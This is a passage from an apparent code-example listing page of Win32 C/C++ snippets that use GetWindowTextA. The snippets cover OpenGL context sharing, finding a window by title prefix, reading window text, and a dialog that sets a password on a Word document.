	if(!wglShareLists(m_hSharedRC, m_hRC)) { printf("wglShareLists failed\n"); }

	// Drop through to return true
	/*
	SendMessageTimeoutA(m_hwnd, WM_GETTEXT, 256, (LPARAM)windowtitle, SMTO_ABORTIFHUNG, 128, NULL);
	printf("InitOpenGL : hwnd = %x (%s), hdc = %x, context = %x\n", m_hwnd, windowtitle, m_hdc, m_hRC);
	int nTotalAvailMemoryInKB = 0;
	int nCurAvailMemoryInKB = 0;
	// GPU_MEMORY_INFO_TOTAL_AVAILABLE_MEMORY_NVX 0x9048
	// GPU_MEMORY_INFO_CURRENT_AVAILABLE_VIDMEM_NVX 0x9049
	glGetIntegerv(0x9048, &nTotalAvailMemoryInKB);
	glGetIntegerv(0x9049, &nCurAvailMemoryInKB);
	printf("Memory : Total [%i], Available [%i]\n", nTotalAvailMemoryInKB, nCurAvailMemoryInKB);
	*/

	return true;

}
示例#27
0
BOOL CALLBACK window_with_prefix_callback(HWND window, LPARAM lParam) {
	window_with_prefix_data_t *find = (window_with_prefix_data_t *)lParam;
	
	char title[80];
	GetWindowTextA(window, title, sizeof(title));

	if( !find->window && strncmp(find->prefix, title, strlen(find->prefix)) == 0 ) {
		find->window = window;
	}
	return TRUE;
}
示例#28
0
VDStringA VDGetWindowTextAW32(HWND hwnd) {
	char buf[512];

	int len = GetWindowTextLengthA(hwnd);

	if (len > 511) {
		vdblock<char> tmp(len + 1);
		len = GetWindowTextA(hwnd, tmp.data(), tmp.size());

		const char *s = tmp.data();
		VDStringA text(s, s+len);
		return text;
	} else if (len > 0) {
		len = GetWindowTextA(hwnd, buf, 512);

		return VDStringA(buf, buf + len);
	}

	return VDStringA();
}
示例#29
0
std::string GetText(HWND hWnd)
{
	size_t len = GetWindowTextLengthA(hWnd) + 1;
	if (len != 0)
	{
		char *text = (char *)alloca(len);
		len = GetWindowTextA(hWnd, text, len);
		return std::string(text, len);
	}
	return std::string();
}
示例#30
0
BOOL CALLBACK DialogProc(HWND hDlg, UINT uMsg,
						 WPARAM wParam, LPARAM lParam)
{
	BOOL fReturn = TRUE;
	switch(uMsg)
	{
	case WM_INITDIALOG:
		{
			RECT	rtWindow = {0};
			RECT	rtContainer = {0};

			GetWindowRect(hDlg,&rtWindow);
			rtWindow.right -= rtWindow.left;
			rtWindow.bottom -= rtWindow.top;
			SystemParametersInfo(SPI_GETWORKAREA,0,&rtContainer,0);
			SetWindowPos(hDlg,NULL,(rtContainer.right - rtWindow.right) / 2,(rtContainer.bottom - rtWindow.bottom) / 2,0,0,SWP_NOSIZE);
			SendMessage(GetDlgItem(hDlg, IDC_EDIT1),EM_LIMITTEXT,16, 0);
			break;
		}
	case WM_COMMAND:{
		if (lParam != 0){
			if(HIWORD(wParam) == BN_CLICKED){
				switch(LOWORD(wParam)){
					case IDOK:
						{
							char szPassWord[17]={0};
							GetWindowTextA(GetDlgItem(hDlg, IDC_EDIT1), szPassWord, 17);
							Word::_DocumentPtr ptrdoc = g_Application->GetActiveDocument();
							if (ptrdoc){
								BSTR bstrPswd = _bstr_t(szPassWord);
								ptrdoc->put_Password(bstrPswd);
								ptrdoc->Save();
							}
							EndDialog(hDlg, true);
							break;
						}
					case IDCANCEL:
						EndDialog(hDlg, true);
						break;
				}
			}
		}
		break;
	}
	case WM_DESTROY:
		//::PostQuitMessage(0);
		break;
	default:
		fReturn = FALSE;
	}
	
	return fReturn;
}